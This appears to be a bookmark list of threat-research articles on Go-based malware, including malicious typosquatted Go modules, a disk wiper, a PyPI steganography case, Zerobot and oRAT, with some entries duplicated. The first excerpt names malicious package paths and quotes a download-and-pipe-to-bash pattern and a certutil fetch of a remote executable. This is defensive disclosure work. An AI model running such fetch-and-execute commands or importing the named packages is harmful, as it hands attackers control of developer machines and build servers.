Found 15 bookmarks
Newest
11 Malicious Go Packages Distribute Obfuscated Remote Payloads
11 Malicious Go Packages Distribute Obfuscated Remote Payloads
Socket’s Threat Research Team uncovered eleven malicious Go packages, ten of which are still live on the Go Module and eight of which are typosquats, that conceal an identical index-based string obfuscation routine. At runtime the code silently spawns a shell, pulls a second-stage payload from an interchangeable set of .icu and .tech command and control (C2) endpoints, and executes it in memory. Most of the C2 endpoints share the path /storage/de373d0df/a31546bf, and six of the ten URLs are still reachable, giving the threat actor on-demand access to any developer or CI system that imports the packages. The eight packages include the following: github.com/stripedconsu/linker github.com/agitatedleopa/stm github.com/expertsandba/opt github.com/wetteepee/hcloud-ip-floater github.com/weightycine/replika github.com/ordinarymea/tnsr_ids github.com/ordinarymea/TNSR_IDS github.com/cavernouskina/mcp-go github.com/lastnymph/gouid github.com/sinfulsky/gouid github.com/briefinitia/gouid The packages all use an exec.Command("/bin/sh","-c", %3Cobfuscated%3E) construct. The array-driven decoder rebuilds a one-liner that downloads a bash script with wget -O - %3CC2%3E | /bin/bash & on Unix systems, or (2) uses -urlcache -split -f %3CC2%3E %TEMP%\\appwinx64.exe followed by a background start on Windows. Observed second-stage ELF and PE binaries enumerate host information, read browser data, and beacon outbound, often after a first stage triggers a one-hour sleep to evade sandboxes. Because the second-stage payload delivers a bash-scripted payload for Linux systems and retrieves Windows executables via certutil.exe, both Linux build servers and Windows workstations are susceptible to compromise.
#socket.dev#EN#2025#Supply-Chain-Attack#packages#go#malicious
·socket.dev·
11 Malicious Go Packages Distribute Obfuscated Remote Payloads
wget to Wipeout: Malicious Go Modules Fetch Destructive Payload
wget to Wipeout: Malicious Go Modules Fetch Destructive Payload
Socket's research uncovers three dangerous Go modules that contain obfuscated disk-wiping malware, threatening complete data loss. The Go ecosystem, valued for its simplicity, transparency, and flexibility, has exploded in popularity. With over 2 million modules available, developers rely heavily on public repositories like GitHub. However, this openness is precisely what attackers exploit. No Central Gatekeeping: Developers freely source modules directly from GitHub repositories, trusting the naming conventions implicitly. Prime Target for Typosquatting: Minimal namespace validation enables attackers to masquerade malicious modules as popular libraries. Introduction: The Silent Threat# In April 2025, we detected an attack involving three malicious Go modules which employ similar obfuscation techniques: github[.]com/truthfulpharm/prototransform github[.]com/blankloggia/go-mcp github[.]com/steelpoor/tlsproxy Despite appearing legitimate, these modules contained highly obfuscated code designed to fetch and execute remote payloads. Socket’s scanners flagged the suspicious behaviors, leading us to a deeper investigation.
#socket.dev#EN#2025#Wipeout#github#Payload#GO#research#Developers#supply-chain-attack
·socket.dev·
wget to Wipeout: Malicious Go Modules Fetch Destructive Payload
Malicious Go Binary Delivered via Steganography in PyPI
Malicious Go Binary Delivered via Steganography in PyPI
On May 10, 2024, Phylum’s automated risk detection platform alerted us to a suspicious publication on PyPI. The package was called requests-darwin-lite and appeared to be a fork of the ever-popular requests package with a few key differences, most notably the inclusion of a malicious Go binary packed into
#phylum#EN#2024#Steganography#macOS#Go
·blog.phylum.io·
Malicious Go Binary Delivered via Steganography in PyPI
Zerobot – New Go-Based Botnet Campaign Targets Multiple Vulnerabilities
Zerobot – New Go-Based Botnet Campaign Targets Multiple Vulnerabilities
FortiGuardLabs examines a botnet known as Zerobot written in the Go language targeting IoT vulnerabilities. Read our blog to learn about how it evolves, including self-replication, attacks for different protocols, and self-propagation as well as its behavior once inside an infected device.
#fortinet#EN#2022#vulnerabilities#Botnet#iot-security#Zerobot#Go#Threat-Research#malware-research#malware-analysis
·fortinet.com·
Zerobot – New Go-Based Botnet Campaign Targets Multiple Vulnerabilities
Zerobot – New Go-Based Botnet Campaign Targets Multiple Vulnerabilities
Zerobot – New Go-Based Botnet Campaign Targets Multiple Vulnerabilities
FortiGuardLabs examines a botnet known as Zerobot written in the Go language targeting IoT vulnerabilities. Read our blog to learn about how it evolves, including self-replication, attacks for different protocols, and self-propagation as well as its behavior once inside an infected device.
#fortinet#EN#2022#vulnerabilities#Botnet#iot-security#Zerobot#Go#Threat-Research#malware-research#malware-analysis
·fortinet.com·
Zerobot – New Go-Based Botnet Campaign Targets Multiple Vulnerabilities
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win
Researchers looking into a new APT group targeting gambling sites with a variety of cross-platform malware recently identified a version of oRAT malware targeting macOS users and written in Go. While neither RATs nor Go malware are uncommon on any platform, including the Mac, the development of such a tool by a previously unknown APT is an interesting turn, signifying the increasing need for threat actors to address the rising occurrence of Macs among their intended targets and victims. In this post, we dig deeper into the technical details of this novel RAT to understand better how it works and how security teams can detect it in their environments.
#SentinelOne#EN#2022#macos#oRat#Go#APT#RAT
·sentinelone.com·
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win
Researchers looking into a new APT group targeting gambling sites with a variety of cross-platform malware recently identified a version of oRAT malware targeting macOS users and written in Go. While neither RATs nor Go malware are uncommon on any platform, including the Mac, the development of such a tool by a previously unknown APT is an interesting turn, signifying the increasing need for threat actors to address the rising occurrence of Macs among their intended targets and victims. In this post, we dig deeper into the technical details of this novel RAT to understand better how it works and how security teams can detect it in their environments.
#SentinelOne#EN#2022#macos#oRat#Go#APT#RAT
·sentinelone.com·
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win
Researchers looking into a new APT group targeting gambling sites with a variety of cross-platform malware recently identified a version of oRAT malware targeting macOS users and written in Go. While neither RATs nor Go malware are uncommon on any platform, including the Mac, the development of such a tool by a previously unknown APT is an interesting turn, signifying the increasing need for threat actors to address the rising occurrence of Macs among their intended targets and victims. In this post, we dig deeper into the technical details of this novel RAT to understand better how it works and how security teams can detect it in their environments.
#SentinelOne#EN#2022#macos#oRat#Go#APT#RAT
·sentinelone.com·
From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win